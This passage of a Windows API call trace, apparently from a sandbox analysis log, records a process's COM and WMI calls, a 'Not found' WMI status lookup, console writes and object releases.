dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0141.707] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d13998) returned 0x0 [0141.707] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d13998, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0141.707] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d13998, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d139e8) returned 0x0 [0141.707] WbemStatusCodeText:IUnknown:Release (This=0x5d13998) returned 0x0 [0141.707] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d139e8) returned 0x0 [0141.708] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139e8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0141.708] WbemStatusCodeText:IUnknown:AddRef (This=0x5d139e8) returned 0x3 [0141.708] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139e8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0141.708] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139e8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0141.708] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139e8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0141.708] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0141.708] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0141.708] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139e8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0141.708] WbemStatusCodeText:IUnknown:Release (This=0x5d139e8) returned 0x2 [0141.708] WbemStatusCodeText:IUnknown:Release (This=0x5d139e8) returned 0x1 [0141.708] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0141.708] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0141.708] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139e8, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d139e8) returned 0x0 [0141.708] WbemStatusCodeText:IUnknown:AddRef (This=0x5d139e8) returned 0x3 [0141.708] WbemStatusCodeText:IUnknown:Release (This=0x5d139e8) returned 0x2 [0141.708] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d139e8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0141.708] SysStringByteLen (bstr="Not found ") returned 0x14 [0141.710] GetConsoleOutputCP () returned 0x1b5 [0141.710] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0141.710] GetConsoleOutputCP () returned 0x1b5 [0141.710] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0141.710] GetConsoleOutputCP () returned 0x1b5 [0141.710] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0141.710] GetConsoleOutputCP () returned 0x1b5 [0141.711] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0141.711] GetConsoleOutputCP () returned 0x1b5 [0141.711] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0141.711] GetConsoleOutputCP () returned 0x1b5 [0141.711] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0141.711] GetConsoleOutputCP () returned 0x1b5 [0141.711] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0141.711] GetConsoleOutputCP () returned 0x1b5 [0141.711] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59fe9f4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59fe9f4) returned 0 [0141.712] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59fea90 | out: lpConsoleScreenBufferInfo=0x59fea90) returned 1 [0141.712] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fea88 | out: lpMode=0x59fea88) returned 1 [0141.713] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x28b654c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x59fea7c, lpReserved=0x0 | out: lpBuffer=0x28b654c*, lpNumberOfCharsWritten=0x59fea7c*=0x4f) returned 1 [0141.713] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fea88 | out: lpMode=0x59fea88) returned 1 [0141.714] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x282a04c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59fea7c, lpReserved=0x0 | out: lpBuffer=0x282a04c*, lpNumberOfCharsWritten=0x59fea7c*=0x2) returned 1 [0141.714] CoGetContextToken (in: pToken=0x59fec8c | out: pToken=0x59fec8c) returned 0x0 [0141.714] IEnumWbemClassObject:Clone (in: This=0x6c07b0, ppEnum=0x59fee44 | out: ppEnum=0x59fee44*=0x6c0ad0) returned 0x0 [0141.726] IUnknown:QueryInterface (in: This=0x6c0ad0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fed00 | out: ppvObject=0x59fed00*=0x6c0ad4) returned 0x0 [0141.726] IClientSecurity:QueryBlanket (in: This=0x6c0ad4, pProxy=0x6c0ad0, pAuthnSvc=0x59fed50, pAuthzSvc=0x59fed4c, pServerPrincName=0x59fed44, pAuthnLevel=0x59fed48, pImpLevel=0x59fed38, pAuthInfo=0x59fed3c, pCapabilites=0x59fed40 | out: pAuthnSvc=0x59fed50*=0xa, pAuthzSvc=0x59fed4c*=0x0, pServerPrincName=0x59fed44, pAuthnLevel=0x59fed48*=0x6, pImpLevel=0x59fed38*=0x2, pAuthInfo=0x59fed3c, pCapabilites=0x59fed40*=0x1) returned 0x0 [0141.727] IUnknown:Release (This=0x6c0ad4) returned 0x1 [0141.727] IUnknown:QueryInterface (in: This=0x6c0ad0, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fecf4 | out: ppvObject=0x59fecf4*=0x721504) returned 0x0 [0141.727] IUnknown:QueryInterface (in: This=0x6c0ad0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fece0 | out: ppvObject=0x59fece0*=0x6c0ad4) returned 0x0 [0141.727] IClientSecurity:SetBlanket (This=0x6c0ad4, pProxy=0x6c0ad0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0141.730] IUnknown:Release (This=0x6c0ad4) returned 0x2 [0141.730] WbemLocator:IUnknown:Release (This=0x721504) returned 0x1 [0141.730] CoTaskMemFree (pv=0x5cea240) [0141.730] IUnknown:AddRef (This=0x6c0ad0) returned 0x2 [0141.731] CoGetContextToken (in: pToken=0x59fe210 | out: pToken=0x59fe210) returned 0x0 [0141.731] CoGetContextToken (in: pToken=0x59fe624 | out: pToken=0x59fe624) returned 0x0 [0141.731] IUnknown:QueryInterface (in: This=0x6c0ad0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe5bc | out: ppvObject=0x59fe5bc*=0x7214ec) returned 0x0 [0141.731] WbemLocator:IRpcOptions:Query (in: This=0x7214ec, pPrx=0x5cfad30, dwProperty=2, pdwValue=0x59fe6b0 | out: pdwValue=0x59fe6b0) returned 0x80004002 [0141.731] WbemLocator:IUnknown:Release (This=0x7214ec) returned 0x2 [0141.732] CoGetContextToken (in: pToken=0x59febf4 | out: pToken=0x59febf4) returned 0x0 [0141.732] CoGetContextToken (in: pToken=0x59feb54 | out: pToken=0x59feb54) returned 0x0 [0141.732] IUnknown:QueryInterface (in: This=0x6c0ad0, riid=0x59fec24*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59feaf0 | out: ppvObject=0x59feaf0*=0x6c0ad0) returned 0x0 [0141.732] IUnknown:Release (This=0x6c0ad0) returned 0x2 [0141.732] SysStringLen (param_1=0x0) returned 0x0 [0141.732] IEnumWbemClassObject:Reset (This=0x6c0ad0) returned 0x0 [0141.734] CoTaskMemAlloc (cb=0x4) returned 0x5d13a18 [0141.734] IEnumWbemClassObject:Next (in: This=0x6c0ad0, lTimeout=-1, uCount=0x1, apObjects=0x5d13a18, puReturned=0x28b6630 | out: apObjects=0x5d13a18*=0x5d13d60, puReturned=0x28b6630*=0x1) returned 0x0 [0141.736] IUnknown:QueryInterface (in: This=0x5d13d60, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe49c | out: ppvObject=0x59fe49c*=0x5d13d60) returned 0x0 [0141.736] IUnknown:QueryInterface (in: This=0x5d13d60, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe450 | out: ppvObject=0x59fe450*=0x0) returned 0x80004002 [0141.736] IUnknown:QueryInterface (in: This=0x5d13d60, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe278 | out: ppvObject=0x59fe278*=0x0) returned 0x80004002 [0141.737] IUnknown:AddRef (This=0x5d13d60) returned 0x3 [0141.737] IUnknown:QueryInterface (in: This=0x5d13d60, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fddac | out: ppvObject=0x59fddac*=0x0) returned 0x80004002 [0141.737] IUnknown:QueryInterface (in: This=0x5d13d60, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdd5c | out: ppvObject=0x59fdd5c*=0x0) returned 0x80004002 [0141.737] IUnknown:QueryInterface (in: This=0x5d13d60, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdd68 | out: ppvObject=0x59fdd68*=0x5d13d64) returned 0x0 [0141.737] IMarshal:GetUnmarshalClass (in: This=0x5d13d64, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59fdd70 | out: pCid=0x59fdd70*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0141.737] IUnknown:Release (This=0x5d13d64) returned 0x3 [0141.737] CoGetContextToken (in: pToken=0x59fddc8 | out: pToken=0x59fddc8) returned 0x0 [0141.737] CoGetContextToken (in: pToken=0x59fe1dc | out: pToken=0x59fe1dc) returned 0x0 [0141.737] IUnknown:QueryInterface (in: This=0x5d13d60, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe25c | out: ppvObject=0x59fe25c*=0x0) returned 0x80004002 [0141.737] IUnknown:Release (This=0x5d13d60) returned 0x2 [0141.737] CoGetContextToken (in: pToken=0x59fe7c4 | out: pToken=0x59fe7c4) returned 0x0 [0141.737] CoGetContextToken (in: pToken=0x59fe724 | out: pToken=0x59fe724) returned 0x0 [0141.737] IUnknown:QueryInterface (in: This=0x5d13d60, riid=0x59fe7f4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59fe7f0 | out: ppvObject=0x59fe7f0*=0x5d13d60) returned 0x0 [0141.738] IUnknown:AddRef (This=0x5d13d60) returned 0x4 [0141.738] IUnknown:Release (This=0x5d13d60) returned 0x3 [0141.738] IUnknown:Release (This=0x5d13d60) returned 0x2 [0141.738] CoTaskMemFree (pv=0x5d13a18) [0141.738] CoGetContextToken (in: pToken=0x59feb34 | out: pToken=0x59feb34) returned 0x0 [0141.738] IUnknown:AddRef (This=0x5d13d60) returned 0x3 [0141.738] CoTaskMemAlloc (cb=0x4) returned 0x5d13a18 [0141.738] IEnumWbemClassObject:Next (in: This=0x6c0ad0, lTimeout=-1, uCount=0x1, apObjects=0x5d13a18, puReturned=0x28b6630 | out: apObjects=0x5d13a18*=0x0, puReturned=0x28b6630*=0x0) returned 0x1 [0141.739] CoTaskMemFree (pv=0x5d13a18) [0141.740] CoTaskMemAlloc (cb=0x4) returned 0x5d13a18 [0141.740] IEnumWbemClassObject:Next (in: This=0x6c0878, lTimeout=-1, uCount=0x1, apObjects=0x5d13a18, puReturned=0x28888e8 | out: apObjects=0x5d13a18*=0x0, puReturned=0x28888e8*=0x0) returned 0x1 [0141.741] CoTaskMemFree (pv=0x5d13a18) [0141.741] CoGetContextToken (in: pToken=0x59fed78 | out: pToken=0x59fed78) returned 0x0 [0141.741] IUnknown:Release (This=0x6c0878) returned 0x1 [0141.741] IUnknown:Release (This=0x6c0878) returned 0x0 [0141.743] CoGetContextToken (in: pToken=0x59fed78 | out: pToken=0x59fed78) returned 0x0 [0141.743] IUnknown:Release (This=0x6c07b0) returned 0x1 [0141.743] IUnknown:Release (This=0x6c07b0) returned 0x0 [0141.745] EtwEventActivityIdControl () returned 0x0 [0141.745] EtwEventActivityIdControl () returned 0x0 [0141.745] EtwEventActivityIdControl () returned 0x0 [0141.745] EtwEventActivityIdControl () returned 0x0 [0141.745] EtwEventActivityIdControl () returned 0x0 [0141.745] EtwEventActivityIdControl () returned 0x0 [0141.746] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59fef84 | out: lpConsoleScreenBufferInfo=0x59fef84) returned 1 [0141.746] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fef7c | out: lpMode=0x59fef7c) returned 1 [0141.746] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x282a04c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59fef70, lpReserved=0x0 | out: lpBuffer=0x282a04c*, lpNumberOfCharsWritten=0x59fef70*=0x2) returned 1 [0141.747] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59fef88 | out: lpConsoleScreenBufferInfo=0x59fef88) returned 1 [0141.747] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59fef80 | out: lpMode=0x59fef80) returned 1 [0141.747] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x282a04c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59fef74, lpReserved=0x0 | out: lpBuffer=0x282a04c*, lpNumberOfCharsWritten=0x59fef74*=0x2) returned 1 [0141.747] EtwEventActivityIdControl () returned 0x0 [0141.747] EtwEventActivityIdControl () returned 0x0 [0141.748] EtwEventActivityIdControl () returned 0x0 [0141.748] EtwEventActivityIdControl () returned 0x0 [0141.750] SetEvent (hEvent=0x348) returned 1 [0141.750] SetEvent (hEvent=0x33c) returned 1 [0141.751] SetEvent (hEvent=0x340) returned 1 [0141.751] SetEvent (hEvent=0x344) returned 1 [0141.751] SetEvent (hEvent=0x358) returned 1 [0141.751] SetEvent (hEvent=0x34c) returned 1 [0141.751] SetEvent (hEvent=0x350) returned 1 [0141.751] SetEvent (hEvent=0x354) returned 1 [0141.751] SetEvent (hEvent=0x35c) returned 1 [0141.751] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ff490*=0x364, lpdwindex=0x59ff2b4 | out: lpdwindex=0x59ff2b4) returned 0x0 [0141.756] SetThreadUILanguage (LangId=0x0) returned 0x409 [0141.758] CoCreateGuid (in: pguid=0x59ff2fc | out: pguid=0x59ff2fc*(Data1=0xda036a5d, Data2=0x79c4, Data3=0x4b60, Data4=([0]=0xa1, [1]=0xf6, [2]=0x66, [3]=0x74, [4]=0x89, [5]=0xa8, [6]=0x6d, [7]=0xb2))) returned 0x0 [0141.758] QueryPerformanceCounter (in: lpPerformanceCount=0x59ff2dc | out: lpPerformanceCount=0x59ff2dc*=1178273540317) returned 1 [0141.772] QueryPerformanceCounter (in: lpPerformanceCount=0x59ff2a4 | out: lpPerformanceCount=0x59ff2a4*=1178274906784) returned 1 [0141.772] EtwEventActivityIdControl () returned 0x0 [0141.772] EtwEventActivityIdControl () returned 0x0 [0141.772] EtwEventActivityIdControl () returned 0x0 [0141.773] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x2, pHandles=0x59fee50*=0x4c8, lpdwindex=0x59fed14 | out: lpdwindex=0x59fed14) returned 0x0 [0141.774] SetEvent (hEvent=0x580) returned 1 [0141.774] SetEvent (hEvent=0x4c8) returned 1 [0141.774] EtwEventActivityIdControl () returned 0x0 [0141.774] SetEvent (hEvent=0x5b0) returned 1 [0141.774] SetEvent (hEvent=0x580) returned 1 [0141.774] SetEvent (hEvent=0x4c8) returned 1 [0141.774] SetEvent (hEvent=0x5c0) returned 1 [0141.774] SetEvent (hEvent=0x5b4) returned 1 [0141.774] SetEvent (hEvent=0x5b8) returned 1 [0141.774] SetEvent (hEvent=0x5bc) returned 1 [0141.774] SetEvent (hEvent=0x5c4) returned 1 [0141.775] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ff490*=0x364, lpdwindex=0x59ff2b4 | out: lpdwindex=0x59ff2b4) returned 0x0 [0141.834] CoGetContextToken (in: pToken=0x59ff87c | out: pToken=0x59ff87c) returned 0x0 [0141.835] CoGetContextToken (in: pToken=0x59ff274 | out: pToken=0x59ff274) returned 0x0 [0141.835] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.835] WbemStatusCodeText:IUnknown:Release (This=0x5ce6248) returned 0x1 [0141.835] WbemStatusCodeText:IUnknown:Release (This=0x5ce6248) returned 0x0 [0141.835] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.835] WbemStatusCodeText:IUnknown:Release (This=0x5d09a00) returned 0x1 [0141.835] WbemStatusCodeText:IUnknown:Release (This=0x5d09a00) returned 0x0 [0141.835] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.835] WbemStatusCodeText:IUnknown:Release (This=0x5d139e8) returned 0x1 [0141.835] WbemStatusCodeText:IUnknown:Release (This=0x5d139e8) returned 0x0 [0141.835] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.835] IUnknown:Release (This=0x5cfa430) returned 0x2 [0141.835] IUnknown:Release (This=0x5cfa430) returned 0x1 [0141.835] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.835] IUnknown:Release (This=0x6c0a08) returned 0x1 [0141.835] IUnknown:Release (This=0x6c0a08) returned 0x0 [0141.842] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.842] WbemStatusCodeText:IUnknown:Release (This=0x5d097e0) returned 0x1 [0141.842] WbemStatusCodeText:IUnknown:Release (This=0x5d097e0) returned 0x0 [0141.843] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.843] IUnknown:Release (This=0x5d13d60) returned 0x2 [0141.843] IUnknown:Release (This=0x5d13d60) returned 0x1 [0141.843] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5d099f0) returned 0x1 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5d099f0) returned 0x0 [0141.843] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5ce6238) returned 0x1 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5ce6238) returned 0x0 [0141.843] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5d097c0) returned 0x1 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5d097c0) returned 0x0 [0141.843] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5d139d8) returned 0x1 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5d139d8) returned 0x0 [0141.843] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5ce6288) returned 0x1 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5ce6288) returned 0x0 [0141.843] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5d097d0) returned 0x1 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5d097d0) returned 0x0 [0141.843] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.843] IUnknown:Release (This=0x5ce3b38) returned 0x2 [0141.843] IUnknown:Release (This=0x5ce3b38) returned 0x1 [0141.843] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5d139c8) returned 0x1 [0141.843] WbemStatusCodeText:IUnknown:Release (This=0x5d139c8) returned 0x0 [0141.844] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.844] IUnknown:Release (This=0x5cfadc8) returned 0x2 [0141.844] IUnknown:Release (This=0x5cfadc8) returned 0x1 [0141.844] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.844] WbemStatusCodeText:IUnknown:Release (This=0x5d09a30) returned 0x1 [0141.844] WbemStatusCodeText:IUnknown:Release (This=0x5d09a30) returned 0x0 [0141.844] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.844] WbemStatusCodeText:IUnknown:Release (This=0x5d139b8) returned 0x1 [0141.844] WbemStatusCodeText:IUnknown:Release (This=0x5d139b8) returned 0x0 [0141.844] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.844] IUnknown:Release (This=0x6c0ad0) returned 0x1 [0141.844] IUnknown:Release (This=0x6c0ad0) returned 0x0 [0141.876] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.876] WbemStatusCodeText:IUnknown:Release (This=0x5ce6268) returned 0x1 [0141.877] WbemStatusCodeText:IUnknown:Release (This=0x5ce6268) returned 0x0 [0141.877] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.877] IUnknown:Release (This=0x6f6768) returned 0x2 [0141.877] IUnknown:Release (This=0x6f6768) returned 0x1 [0141.877] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.877] WbemStatusCodeText:IUnknown:Release (This=0x5d09a20) returned 0x1 [0141.877] WbemStatusCodeText:IUnknown:Release (This=0x5d09a20) returned 0x0 [0141.877] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.877] WbemStatusCodeText:IUnknown:Release (This=0x5d097b0) returned 0x1 [0141.877] WbemStatusCodeText:IUnknown:Release (This=0x5d097b0) returned 0x0 [0141.877] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.877] WbemStatusCodeText:IUnknown:Release (This=0x5ce6278) returned 0x1 [0141.877] WbemStatusCodeText:IUnknown:Release (This=0x5ce6278) returned 0x0 [0141.877] CoGetContextToken (in: pToken=0x59ff1f8 | out: pToken=0x59ff1f8) returned 0x0 [0141.877] IUnknown:Release (This=0x6c03c8) returned 0x1 [0141.877] IUnknown:Release (This=0x6c03c8) returned 0x0 [0141.944] CoGetContextToken (in: pToken=0x59ff1f8 | out: 